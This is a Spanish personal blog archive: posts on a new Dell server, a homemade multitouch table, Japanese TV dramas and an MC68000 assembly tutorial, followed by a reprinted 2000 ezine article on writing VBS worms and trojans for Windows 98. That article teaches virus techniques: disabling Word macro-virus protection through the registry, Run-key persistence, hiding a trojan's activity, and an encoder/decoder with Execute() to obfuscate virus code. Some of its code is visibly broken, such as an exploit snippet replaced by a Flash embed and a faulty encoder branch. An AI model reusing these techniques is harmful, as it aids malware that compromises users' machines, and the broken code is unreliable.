Estrenamos servidor

viernes 18 de julio, 2008
 

Hace un par de semanas hemos encargado un servidor, reemplazando así el PC que estabamos utilizando hasta ahora como intranet en la empresa. Se trata de un PowerEdge R200 de Dell, nuevo, y que nos ha salido por un precio ridículo (de hecho estuvimos tentados a pedir tres o cuatro y así ir montando la granja de render, pero finalmente decidimos que sería algo precipitado).

El cacharro es cuestión cuenta con un procesador Dual Xeon 2,3 Ghz, 2 GB de RAM, dos discos SCSI de 160 GB preparados para RAID, y tres interfaces GigaLAN. 

PowerEdge R200 Frontal

Le he montado una Fedora Core 9, y despues de optimizar e instalar los servicios que necesitamos, el aparato se comporta de maravilla. Es algo ruidoso (aunque no nos importa demasiado por el lugar donde lo tenemos), pero no se calienta lo más mínimo.

En definitiva, estoy muy contento con esta adquisición, es el primer servidor propiamente dicho que cae en mis manos (al margen de los dedicados que tengo alquilados en Florida), y espero ir ampliando “la colección” a corto/medio plazo. De momento ya le tenemos echado el ojo a unos armarios en rack con monitor y SAI integrados que quedarían que ni pintados en nuestra oficina.

PowerEdge R200 Trasera

Multi touch interface (parte 1): Preparativos

martes 22 de abril, 2008
 

 

You need to a flashplayer enabled browser to view this YouTube video

Desde que vi el video de Jeff Han y su interface multi touch hace ya un año, he quedado totalmente prendado de esa tecnología y me he dedicado a investigar sobre el tema. En realidad es una tecnología no tan nueva, y lo más interesante del tema es que es relativamente sencilla.

Hay todo un movimiento alrededor de los display multi touch, y geeks del todo el mundo se están construyendo sus propios dispositivos de este tipo, e investigando como perfeccionarlos. Los prototipos que están saliendo son de una calidad que nada tendría que envidiar a un dispositivo comercial de estas caracteristicas.

Yo, como buen geek que soy y sobretodo porque soy el primero en babear con esta maravilla tambien he estado investigando y haciendo mis preparativos para construirme mi propio prototipo. Tengo especial interés ya que como programador me abre un montón de posibilidades para experimentar con él una vez lo tenga terminado y funcionando.

Cuando definitivamente me planteé comenzar con este proyecto, lo primero que tuve que hacer fue decidir que tipo de tecnología emplearía en mi interface. Existen dos enfoques principales a la hora de desarrollar un multi touch, que si bien se basan en lo mismo, se construyen de forma totalmente diferente:

FTIR (Frustrated Total Internal Reflection):

Esquema FTIR

Este primer sistema es el más conocido y utilizado hasta el momento, probablemente porque es el sistema que empleó Jeff Han y el que puso de moda esta tecnología.

Con este método utilizamos un panel de acrílico, el cual iluminamos desde sus bordes con LEDs infrarrojos. Utilizamos acrílico y no cristal, porque su transmitancia frente a la luz infrarroja es ideal, mientras que la del cristal no nos sirve para lograr este efecto.

Lo que estamos haciendo es “inundar” el panel de luz IR, la cual va rebotando en su interior (reflexión interna total). Cuando colocamos los dedos sobre el panel, estamos frustrando la reflexión interna y reflejando la luz hacia abajo, donde tenemos una cámara infrarroja, o una videocámara normal con un filtro IR que detectará esos “blobs” de luz, los cuales procesaremos con el ordenador para obtener su posición y de ese modo emplearlos como controladores.

Sobre el panel acrílico colocamos un material difusor sobre el que proyectar la imagen del ordenador desde abajo.

Al utilizar los dedos desnudos sobre el panel, el efecto de “frustración” funciona muy bien, especialmente si tenemos los dedos humedos, debido a que la piel de los dedos es semitransparente y se deforma al apretarla contra el panel, sin embargo al colocar la pantalla difusora, eliminamos el efecto y es necesario hacer bastante presión para obtener el resultado deseado. Para ello debemos utilizar una superficie intermedia entre el panel y el difusor (conocida como complaint surface). Se ha investigado bastante sobre este tema, y actualmente lo que mejor resultado da es crear una fina pelicula de silicona transparente (Sort A Clear Silicone Rubber). Esto complica algo el diseño del prototipo, y lo encarece un poco, aunque no tanto como para frenar a un geek que se precie.

DI (Diffused Illumination):

Esquema DI

El segundo método para este tipo de displays es la iluminación difusa. En este caso no inundamos de luz IR el panel (el cual ahora puede ser de plexiglass, cristal escarchado o lo que queramos), sino que lo iluminamos desde la parte inferior empleando lámparas LED, y procurando que quede totalmente iluminado. Al colocar los dedos sobre el panel, estaremos reflejando la luz que viene desde abajo otra vez hacia allí, donde tenemos nuestra cámara.

Este tipo de paneles ademas de trackear los dedos, pueden identificar tambien imagenes fiduciales (el famoso Reactable es un claro ejemplo de este tipo de displays), aunque los “blobs” generados no son tan claros como en el caso de los FTIR.

Los paneles DI son más fáciles de construir, ya que no necesitamos soldar la circuitería de leds para enmarcar el acrílíco, ni necesitamos la “complaint surface”. Sin embargo el dispositivo debe estar encerrado dentro de una caja y la calibración de las lamparas LED es bastante más compleja par obtener un resultado óptimo. Otra desventaja, aunque es posible solucionarlo, es la luz IR ambiente que se cuela desde arriba, lo cual hace que a veces incluso detecte blobs sin llegar a tocar el panel.

Aunque tengo que reconocer que los sistemas DI me atraen bastante por su capacidad de interpretar patrones fiduciales, al final me decidí por el modelo FTIR como primer prototipo, aunque no descarto explorar el modelo DI en un futuro (especialmente si obtengo buenos resultados con el primero, ya que lo más caro es el proyector; y una vez teniendo uno nada me impide hacer otros experimentos con él).

Ahora mismo estoy empezando a encargar los materiales como el panel acrílico y los leds, seguiré informando sobre el proyecto en cuanto empiecen a llegarme.

Dorama: Las series televisivas japonesas

miércoles 9 de abril, 2008
 

Nodame CantabileHace ya algún tiempo que soy aficionado a los dorama (o jdrama), ya no solo porque me guste la cultura y lengua japonesa, sino porque es un estilo peculiar de hacer series televisivas a las que no estamos acostumbrados en occidente, y que encuentro como un soplo de aire fresco en cuanto a entretenimiento (una buena forma de descansar un poco de la scifi). En serio, es la única razón por la que me gustan…

Pues bien, en Japón las series (de carne y hueso) que emiten en TV se llaman Drama (ドラマ dorama), y abarcan diversas temáticas. Muchas veces están basadas en algún manga o anime de éxito, y en esos casos tambien suelen ser llamadas “live action” (Por ejemplo, Great Teacher Onizuka Live Action, o Gokusen, basadas en los anime del mismo nombre).

Los dorama japoneses se emiten por temporadas (primavera, verano, otoño e invierno), lo que significa que duran unos 3 meses, y suelen constar de 9 a 11 episodios (emitidos semanalmente). Si la serie consiguió un gran éxito, normalmente suelen emitir más tarde un episodio especial, de larga duración, a modo de “bis” y casi siempre contando lo que sucedió despues de que acabara la serie. Esto es algo curioso tambien, ya que la serie no se acaba solo con un final feliz o trágico, sino que despues en el especial aun te enseñan lo que fué de los protas en el futuro.

Gokusen

Este formato de dramas de 9-11 episodios se denominan renzoku (連続 - れんぞく), mientras que los drama que solo constan de 2 o 3 episodios o “partes” (lo que aqui conocemos como miniseries, o tv movies) se denominan tanpatsu (単発 - たんぱつ). Podria decirse que los episodios especiales de los que hablaba antes son tanpatsu.

En muchos casos, las bandas sonoras de los dorama tienen tantos seguidores como la propia serie (al igual que ocurre en el caso de muchos anime), por lo que suelen trabajar compositores o cantantes de renombre en ellas. La música en los jdrama es muy importante, al contrario que en las series occidentales, donde esta pasa a un segundo lugar (no como en el cine).

De aquí en adelante iré haciendo algunos analisis de los dorama que más me han gustado.

Micro Motorola MC68000

lunes 2 de julio, 2001
 

Nota preliminar: Este artículo fue publicado en el número 6 de NetSearch Ezine, en 2001.

 

Esto pretende ser el primero de una serie de artículos (si es que veo interés y tengo tiempo) sobre Eleectronica Digital. Voy a intentar enfocarlo para que cualquiera pueda empezar en este tema. No obstante, dare por hecho ciertos conocimientos básicos sobre informática (numeración hexadecimal, binaria,…).

La electronica digital es un tema muy amplio, por tanto esto será algo así como una guía básica a partir de la cual podreis investigar vosotros mismos y profundizar. Existen multitud de microprocesadores; yo voy a escribir sobre el MC68000 de Motorola, ya que es el que conozco y es un buen micro con el que aprender. Esta claro que despues utilizareis otros, pero sabiendo uno no tendreis problemas en aprender otros.

Estoy hablando de micros, ya que en este artículo voy a empezar con la estructura y la programación del micro. Decidí empezar por aquí porque creo que es lo más interesante para empezar en electrónica, ademas será una buena guía de iniciación a lenguaje ensamblador para la gente que no sabe utilizarlo. Si veo que interesa, en otros artículos escribiré sobre mapeo de memorias, circuiteria de selección,…

En la web podreis encontrar un simulador del MC68000 y un manual de funcionamiento con el que podreis compilar y simular los programas que hagais.

Puede que os esteis preguntando cual es la aplicación de todo el royo que vais a leer, sobre todo aplicado a los temas que os interesan. Programando un micro (en la práctica, lo más seguro es que programeis un PIC, que es un poco más limitado que un micro, pero os llegará de sobra) y creando un circuito digital controlado por el, podeis hacer desde una calculadora hasta un selector entre multiples tarjetas SIM segun el PIN introducido, cerraduras controladas por una tarjeta EPROM, emuladores de… cualquier circuito que conozcais.

Bueno, sin más preambulos empiezo.

1. Indice

  1. Indice
  2. Propiedades hardware
  3. Modelo de programación
  4. La Memoria
  5. Modos de Direccionamiento
  6. Juego de instrucciones
  7. Subrutinas
  8. Excepciones
  9. Interrupciones
  10. Ejemplo práctico

 

2. Propiedades hardware

  • Bus interno: 16 bits
  • Unidad Aritmetico Lógica (ALU) puede operar sobre 16 bits directamente
  • Registros internos de 32 bits (Datos y Direcciones)
  • La Entrada/Salida esta mapeada en memoria (Intel utiliza buses diferentes para entrada/salida)
  • Bus de datos: 16 bits
  • Bus de direcciones: 32 bits (pero solo utiliza las 24 líneas menos significativas)

Micro Motorola MC68000     

* Físicamente solo hay 23 lineas de dirección. A0 se sustituye por UDS y LDS de una forma especial.

[Nota:] Las líneas negadas (con una línea por encima) quieren decir que esa línea se activa con un “0″ lógico, en lugar de un “1″.

  • GND (Ground):  Masa.
  • CLK (Clock):  Señal de reloj.
  • D0-D13 (Data): Bus de datos.
  • A1-A23 (Address): Bus de direcciones.
  • AS# (Address Strobe): Validación de dirección.
  • R/W# (Read/Write): Control Lectura/Escritura.
  • UDS# (Upper Data Strobe): Transferencia por los 8 bits altos del bus de datos.
  • LDS# (Lower Data Strobe): Transferencia por los 8 bits bajos del bus de datos.
  • DTACK# (Data Transfer Acknowledge): Indicador de transferencia completa.  (la recibe del subsistema de memoria)
  • IPL*# (Interrupt Priority Level): Entradas de peticion de interrupción. Codifican un número de 3 bits con el nivel de interrupción.
  • BERR# (Bus Error): Error en el subsistema de memoria o en E/S.
  • RESET#: Es una linea bidireccional: De forma entrante inicializa el micro.    De forma saliente fuerza la inicializacion del entorno.
  • HALT#: Es bidireccional: Como entrada detiene la CPU. Como salida indica al subsistema que la CPU se ha detenido.
  • BR# (Bus Request): Peticion de bus para DMA.
  • BG# (Bus Grant): Concesion de bus.
  • BGACK# (Bus Acknowledge): Reconocimiento de concesión.
  • E: Salida de reloj para perifericos de la familia 68000.  Frecuencia de 1/10 CLK
  • VMA# (Valid Memory Address): Indica que el bus de direcciones contiene una  direccion válida.
  • VPA# (Valid Peripherial Address): Indica que la dirección pertenece a un periférico síncrono.
  • FC* (Function Codes): Señales de status.

 

3. El Modelo de Programación

   El MC68000 tiene dos modos de funcionamiento:

   - Modo Usuario: No se pueden ejecutar ciertas instrucciones y solo se accede al byte bajo del registro de estado.

  • 8 registros de Datos de 32 bits (D0-D7)
  • 7 registros de direcciones de 32 bits (A0-A6)
  • PC (Contador de programa) de 32 bits
  • SP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)
  • SR (Registro de estado) 8 bits

   - Modo Supervisor: Se accede a todo el juego de instrucciones y a todos los registros.

  • 8 registros de Datos de 32 bits (D0-D7)
  • 7 registros de direcciones de 32 bits (A0-A6)
  • PC (Contador de programa) de 32 bits
  • SSP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)
  • SR (Registro de estado) 16 bits

[Nota:] Los registros de datos, direcciones y contador de programa son físicamente los mismos para los dos modos.

Los punteros de pila hay uno físicamente para cada modo.

El Registro de estado es físicamente el mismo: El usuario solo utiliza el byte menos significativo, y el supervisor el registro entero.

[Nota:] Los registros que almacenan direcciones (A*, Sp, CP) son de 32 bits pero solo utilizan los 24 bits menos significativos.

[Nota:] Cuando vallamos a utilizar la pila en un programa (ya sea de usuario, para las subrutinas, o de supervisor para las interrupciones) es necesario inicializarla, sino el micro generará un error.

La de usuario la podemos inicializar así:

   MOVE #$40000,A7

La de supervisor:

   ORG $00000

   DC.L $40000

  • Registro de Estados (SR):

bit        15 14 13 12 11 10  9  8 | 7  6  5  4  3  2  1  0

flag        T  #  S  #  # I2 I1 I0 | #  #  #  X  N  Z  V  C

[Nota:] El byte más significativo no es accesible por el modo usuario

  •   T (Trace): Si está a “1″ el micro funciona en modo traza (Paso a paso)
  •   S (Status): Si está a “1″ estamos en modo Supervisor  Si esta a “0″ estamos en modo Usuario
  •   I2 I1 I0 (Máscara de interrupción): Si un periférico solicita una interrupción, el nivel de prioridad debe ser superior al codificado por la máscara.
  •   X (Bit de Extension): Indica el acarreo en operaciones BCD
  •   N (Flag de Signo): Nos indica si la ultima operacion genero un numero negativo.
  •   Z (Flag de Zero): Indica que en la ultima operacion se obtuvo un 0.
  •   V (Flag de Overflow): Cuando esta a “1″ indica que la ultima operacion genero un desbordamiento.
  •    C (Flag de Carry): Indica ke en la ultima operacion se genero un acarreo

 

4. La Memoria

   El 68000 utiliza el formato Big Endian para el almacenamiento de datos superiores al byte en memoria. Esto quiere decir que el byte más significativo se almacena en posiciones de memoria bajas (cercanas al $00000).

              $00000

                 .

                 .

             byte alto

             byte bajo

                 .

                 .

              $FFFFF

La señal R/W# nos indica si vamos a leer o a escribir en memoria:

   

  •   R/W#   Acción

            0    Escribir

            1    Leer

 

La señal AS# se envia al sistema de memoria para decir si la dirección que se ha puesto en el bus de direcciones es válida.

  •    AS#     Indicación

             0    Dirección válida

             1    Dirección no válida

 

  • UDS# y LDS#:

  UDS#    LDS#      Acceso

   0       0        Tamaño palabra (16 bits)

   0       1        Byte bajo

   1       0        Byte alto

   1       1        No hay acceso a memoria

 

  • La señal DTACK# viene del sistema de memoria, e indica si se ha conseguido acceder con exito:

  DTACK#    Indicación

    0       Se ha accedido

    1       No se ha accedido

 

 

5.  Modos de direccionamiento

   Los modos de direccionamiento son los formas de indicar al micro donde encontrar un dato determinado, es decir, cual es su dirección efectiva (direccion física del dato).  En el 68000 tenemos 13 modos de direccionamiento:

  •  Direccionamiento Implícito:

       No se necesita operando. Se refiere a un registro definido en la operación.

       Ej: MOVE $23345,CCR

  • Direccionamiento Inmediato:

       Se expresa la dirección explicitamente en la operación.  Se utiliza el caracter # antes de la dirección.

       Ej: MOVE #$9F,D5

  • Direccionamiento Inmediato Rápido:

       Igual que antes, pero el valor es:

       Número entre 1 y 8 para suma y resta.

       Número entre -128 y 127 en instrucciones de movimiento de datos.

       Se añade el caracter Q al mnemónico y el # antes del número.

       Ej: ADDQ #6,A0

  • Direccionamiento Absoluto Largo:

     El argumento es la dirección efectiva a la que se accede.

   Ej: MULS $25022,D2

  • Direccionamiento Absoluto Corto:

     El argumento es una dirección de tamaño palabra (Word, 2 bytes)

     Si el valor está entre $0000-$7FFF accedemos a los 32k mas bajos de memoria.

     Si el valor está entre $8000-$FFFF accedemos a los 32k mas altos de memoria.

     Ej: EORI.B #$FF,$8000

  • Direccionamiento directo a registro:

    El operando es un registro interno, D* o A*

    Ej: SUB  D1,A2

  •  Direccionamiento Indirecto:

    El operando es una dirección de memoria intermedia, donde está contenida la dirección efectiva.

    Esta dirección de memoria esta contenida en un registro de dirección.

    Ej: ASL.W (A3)

  • Direccionamiento Indirecto con Postincremento:

   Igual que el anterior, pero despues de obtener el argumento el registro de direcciones se incrementa en un valor, segun el tamaño:

   .B (Byte): Se incrementa en 1

   .W (Word): Se incrementa en 2

   .L (LongWord): Se incrementa en 4

   Se utiliza la representacion (A*)+

  Ej: CMPM (A0)+,(A4)+

  Esto es muy útil para recorrer arrays y para actualizar el puntero de pila al sacar datos (El 68000 no tiene instrucción para eso)

  • Direccionamiento Indirecto con Predecremento:

    Primero se decrementa el valor del registro de direcciones y luego se accede al dato.

    Ej: OR.B D3,-(A0)

    Se utiliza para introducir datos en pila.

  • Direccionamiento Indirecto con Desplazamiento:

   La dirección efectiva se obtiene sumando un valor al contenido del registro de direcciones.

   El desplazamiento es un numero con signo de 16 bits.

   Ej:  CHR $24(A4),D3

  • Direccionamiento Indirecto con Indice y Desplazamiento:

    La dirección efectiva se halla sumando 3 valores:

    - El contenido de un registro de direcciones.

    - Un desplazamiento de 8 bits.

    - Un registro de datos.

    Formato:  desplazamiento(A*,D*.B|W|L)

   Ej: DIVU 8(A3,D7.L),D5

  • Direccionamiento Relativo con Desplazamiento:

    Igual que el de desplazamiento pero con el contador de programa.

    Ej: LEA $200(PC),A3

  • Direccionamiento Relativo con Indice y Desplazamiento

    Igual que el de indice y desplazamiento pero con el PC

    Ej: MOVE $B(PC,D1.L),D5

  (más…)

I-Worms en Windows

domingo 26 de noviembre, 2000
 

Notas preliminares: Este artículo lo publiqué en NetSearch Ezine, una revista electrónica sobre seguridad informática en el 2000.

Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Windows 98. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como evitar ser infectado.

 

En los tiempos que corren podemos leer en la prensa, en la televisión, la radio… como se habla mucho de virus de Internet, como Melissa, iloveyou…, que utilizan el correo electrónico para entrar en el sistema y “destrozarlo”.

Estos gusanos se han extendido por todo el mundo, y son temidos por la sociedad, aunque realmente no son tan catastróficos como los pintan.

Pero… ¿cual es la verdadera razón de que se hayan extendido a tan gran escala? Pues sencillamente que se extienden de la misma forma que se extendió en su día el famoso programa de Microsoft, Windows. Todos estos gusanos se extienden utilizando las herramientas que nos ofrece la propia Microsoft, ya que solo afectan a las aplicaciones de dicha empresa.

El virus Melissa, tan famoso el año pasado, utilizaba el lenguaje de macros de Microsoft Word y la libreta de direcciones de Microsoft Outlook para sus fines. El mas reciente, iloveu, emplea el scripting de Microsoft Windows, y aprovecha la fabulosa opción de esconder las extensiones en el navegador del sistema para engañar al pobre usuario que sin tener conocimientos básicos sobre como protegerse de agresiones externas (de lo que no les culpo, ya que la culpa es de los medios, que cada vez más se empeñan en asociar la seguridad informática a los “chicos malos”). Bueno, me dejo de preambulos y comienzo este pequeño vistazo a algunas de las técnicas que se emplean para realizar estos ataques, dejando claro que el problema esta en la falta de seguridad del software, y no en la mente retorcida de ciertos cerebritos que se dedican a reventar máquinas ajenas por placer. Ni que decir tiene que todo lo que exponga aquí tiene como fin el conocer como proteger nuestra maquina de este tipo de ataques, no el difundir como utilizarlo con fines poco éticos. Por ello, ciertas partes del código que muestre estaran incompletas o capadas, para que los script-kiddies no encuentren aquí su toys’r'us particular.

Aprobecho tambien este artículo para introducir un “nuevo” (por lo menos yo no he leido nada parecido hasta ahora) concepto al que he bautizado como “Troyano Pasivo”. Lo comentará al final de este artículo, y tambien adjuntare un sencillo pero poderoso ejemplo que he escrito, llamado DraZler.

1. Visual Basic Script (VBS): Los batch de Windows

VBS es un lenguaje de scripting que posee Windows. Sería la versión más reducida de Visual Basic, seguida de VBA (Visual Basic para Aplicaciones). Son scripts muy parecidos a JavaScript, y pueden utilizarse como un batch o como script en una Web, permitiendonos utilizar los controles ActiveX en la Web.

Una de las reglas básicas para comprometer un sistema es conseguir acceso al HD del ordenador. Por ello, los scripts de Java o de VB no permiten hacerlo desde una web. Bueno, miento. Si permiten hacerlo, pero nos saltaría el control ActiveX preguntando si queremos ejecutar ese código, ya que puede comprometer la seguridad de nuestra máquina.

Una primera técnica, un tanto rudimentaria, a mi parecer, es la que utilizó el gusano iloveu. Se trata de enviar el script como un attachment en un correo electrónico. El incauto usuario posiblemente lo ejecutará, ya que si consulta la línea del remitente, vera la dirección de un amigo o familiar (ya que el virus se envía utilizando la libreta de direcciones de la máquina infectada).

Tambien aprovecha las extensiones ocultas de Windows. Llama al archivo sample.txt.vbs, quedando a la vista únicamente sample.txt, de forma se podría pensar que nos han enviado un archivo de texto plano. Una vez que el archivo sea ejecutado, podemos hacer prácticamente cualquier cosa en esa máquina.

Una técnica más eficiente, aunque no tan conocida es la que utiliza el gusano BubbleBoy. Se trata de aprovechar un bug en las librerias de scriptlet en Internet Explorer 5.0. Dicho fallo nos permite volcar un archivo de texto plano en el disco duro de la máquina sin que los controles de seguridad de ActiveX lo revelen. Dicho archivo, colocado de forma estratégica, nos permite tomar la máquina practicamente al 100%. Este archivo podría ser volcado en el directorio Inicio de Windows, como una Aplicacion HTML (.hta), de forma que al reiniciar la computadora este sería ejecutado.

1
2
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="id" value="Infect" /><embed id="Infect" type="application/x-shockwave-flash" width="100" height="100"></embed></object>
<script type="text/javascript"><!--mce:0--></script>

El código anterior volcaría el archivo detonante.hta en el directorio inicio de Windows. En este caso, el archivo no contendría ningun código.  Esto, insertado en un email en formato HTML o en una web, infectaría al indefenso usuario que lo recibiese con Outlook 5 o que visitase la web con el explorer. Es más, si la infección llega a través del email, ni siquiera es necesario abrir el mensaje, ya que el propio Outlook ejecuta el código Javascript o VBS que contenga al utilizar la vista previa.

Al reiniciar el sistema, ese detonante seria ejecutado, abriendo una ventana, en la que se podría escribir un mensaje emulando un error. Y a partir de ahí, solo bastaría dar rienda suelta a nuestra imaginación.

Para parchear esta vulnerabilidad:

   http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP

El último gusano “de moda” ha sido el Life Stages. Este virus aprovecha otra vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap de Windows. Se trata de una posibilidad bastante útil que permite empaquetar varios archivos de proceso por lotes en uno solo. El fallo esta en que por defecto, la extensión de estos archivos (SHS) nunca se mostrará, aunque tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del registro (que viene por defecto :P):

  HKEY_CLASSES_ROOT\ShellScrap\NeverShowExt

  Para solucionarlo no hay mas que renombrar esta clave por:

  HKEY_CLASSES_ROOT\ShellScrap\AlwaysShowExt

 

2. Objetos útiles en VBS

   Para escribir un gusano, un virus o un troyano en VBS, básicamente tenemos dos objetos importantes. Uno que nos permitira acceder al HD y otro al registro.

   =-=-= [ Scripting.FileSystemObject ]

   Este objeto contiene diversos metodos que nos permiten leer, y escribir en los dispositivos de almacenamiento masivo de la máquina.

     Set ManipulacionHD = CreateObject(”Scripting.FileSystemObject”)

   Para abrir un archivo de texto en modo lectura/escritura lo hariamos del siguente modo:

     Set MiArchivo = ManipulacionHD.CreateObject(”path/del/archivo”,1,false)

   [ Nota: Esto no es un curso de VBS, me limitaré a exponer como se utilizan los metodos para nuestros objetivos, pero no explicare para que sirven todos los parametros. Para eso ya están los libros y los tutoriales que hay por Internet ]

   Para escribir en ese archivo:

     MiArchivo.WriteLine(”Esta es la primera linea del archivo creado”)

     MiArchivo.WriteLine(”Esta es la segunda”)

   Para leer:

     variable = MiArchivo.ReadLine()

   (el contenido de la variable seria “Esta es la primera linea del archivo”)

   Una vez terminada la secuencia, debemos cerrar el archivo para lectura escritura.

     MiArchivo.Close()

   Podemos tambien borrar un archivo:

     ManipularHD.DeleteFile(”path\del\archivo”)

   =-=-= [ WScript.Shell ]

   Este objeto nos permite ejecutar programas y acceder al registro.

     Set MiShell = CreateObject(”WScript.Shell”)

   Para ejecutar un programa:

     MiShell.Run “path/del/binario”,”0″

   El 0 indica que se debe ejecutar en segundo plano.

   Para escribir en el Registro:

     MiShell.RegWrite “HKEY_…\ruta de la clave\clave”, “Contenido”

   y para leer:

     variable = MiShell.ReadReg(”HKEY_…\ruta\clave”)

   (el contenido de “variable” seria “Contenido”)

   Bien, conociendo esto, ya podemos hacer lo que nos propongamos.

3. Manipulando el registro

   El registro de Windows es, quizá, lo más interesante de este programa. Desde allí podemos variar multitud de parametros. Uno de los más interesantes sería el de la desactivación de la protección contra virus de Microsoft Word para posteriores “entradas”.

Ejecutar.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\

Options\EnableMacroVirusProtection” , “0″

   En DraZler (el troyano que adjunto al final de este articulo) se vale del registro para ocultarse a los ojos del usuario de una forma bastante curiosa.

Se trata de cambiar el puntero de trabajo en segundo plano por el mismo que tiene como puntero normal. De esta forma, puede estar realizando tareas (en este caso la de conectar una y otra vez a un ftp) sin que el puntero cambie cada 5 segundos.

Flecha = Ejecutar.RegRead(”HKEY_CURRENT_USER\Control Panel\Cursors\Arrow”)

Ejecutar.RegWrite “HKEY_CURRENT_USER\Control Panel\Cursors\AppStarting”,Flecha

   Tambien tenemos la posibilidad de colocar programas que arranquen cada vez que se inicia el sistema (del mismo modo que la carpeta inicio). Esta técnica es archiconocida, y la utilizaban los vistos hasta la saciedad Netbus y Back Orifice. Se trata de insertar una clave en alguna de las siguientes rutas del registro:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunServices

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunservicesOnce

   Ahora solo tienes que rebuscar un poco en el registro y encontraras multitud de cosas utiles.

4. Volcando archivos binarios en el HD

   Muchas veces el VBS se nos queda corto para nuestras necesidades, y quizá un ejecutable lo solucionase, pero tenemos un problema. La gran mayoría de los usuarios no tienen un compilador de C u otro lenguaje instalado en su máquina, y aunque lo tuviese, lo mas seguro es que no conociesemos la ruta de dicho compilador, por lo que sería inútil intentar volcar un código fuente para compilarlo allí, como sería posible en *NIX. Pero hay una solución que he comentado anteriormente (Ver NetSearch Ezine No. 2). Se trata de utilizar el debug del DOS para convertir el código hexadecimal de nuestro ejecutable en un binario.

   Ahora comentare para que lo he utilizado yo en DraZler. Cuando ejecutamos un programa basado en MSDOS, normalmente se abre una “shell”. En el caso de DraZler, yo necesito utilizar un Batch con un bucle infinito, lo que abre esa ventana, y lo hace totalmente visible al usuario. Para ello, se me ocurrio utilizar un acceso directo que apuntase a ese Batch. Si edito las propiedades de ese acceso directo puedo hacer que no salte la ventana, y activar ciertas opciones muy útiles, como la de que no avise de que hay un programa MSDOS corriendo en la máquina al apagar el sistema. Pero… ¿como creo un acceso directo en una máquina a la que no tengo acceso físico? Pues muy sencillo, creo el acceso directo en mi máquina, lo convierto en codigo hexadecimal, y lo vuelco en la máquina remota mediante un script VBS y debug (ver DraZler).

5. Encriptación

    Dado que VBS es un script, el código siempre puede ser leído editando el archivo. Para poner las cosas más difíciles, siempre podemos utilizar una pequeña función que lo oculte, aunque si el que lo edita es un poco avispado no tendra ningun problema para descifrarla.

 

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Cadena = InputBox(Codigo,"MoebiuZ's Simple Encoder","Introduce la frase a codificar") For Count = 1 To Len(Cadena)
 
If Count = 1 Then
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Yimbo = Asc(Mid(Cadena, Count, 1))
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Yimbo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Yimbo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
End If
 
ElseIf Count = Len(Cadena) Then
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Pepo = Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
End If
 
    Else
 
If Len(Asc(Mid(Cadena, Count,1))) = 3 Then
 
       Pepo = Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "0" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
ElseIf Len(Asc(Mid(Cadena, Count, 1))) = 2 Then
 
Pepo = "00" &amp; Asc(Mid(Cadena, Count, 1))
 
Yimbo = Yimbo &amp; Pepo
 
End If
 
   End If Next Pringue = InputBox(Unused,"Codigo encriptado",Yimbo)

 

Con este sencillo programa podemos codificar una a una las lineas de nuestro virus, de forma que solo seran secuencias numéricas. Hay que decir que algunas funciones de un script no se pueden codificar o no serán interpretadas correctamente.

Una vez tenemos nuestro virus codificado totalmente, solo tenemos que hacer una función que decodifique cada una de las lineas y la interprete como si no estuviese codificada.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   Function Dec(Code)
 
   For Count = 1 To Len(Code) Step 3
 
        If Count = 1 Then
 
DCode = Chr(Mid(Code,Count,3))
 
Else
 
DCode = DCode &amp; Chr(Mid(Code,Count,3))
 
End If
 
   Next
 
   End Function

          

Imaginad este sencillo script:

   Msgbox “AQUI SU PUBLICIDAD”

 

Pues encriptado con el codificador anterior quedaria del siguiente modo: 

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Execute(Dec(077115103098111120032034065081085073032083085032080085066076073067073068065068034))
 
   Function Dec(Code)
 
     For Count = 1 To Len(Code) Step 3
 
          If Count = 1 Then
 
                  DCode = Chr(Mid(Code,Count,3))
 
          Else
 
                  DCode = DCode &amp; Chr(Mid(Code,Count,3))
 
          End If
 
      Next
 
   End Function

 

6. Troyanos Pasivos: DraZler v1.0.0

   Bien, como ya comenté al principio, voy a hablar de lo que se me ha dado por llamar Troyanos Pasivos.

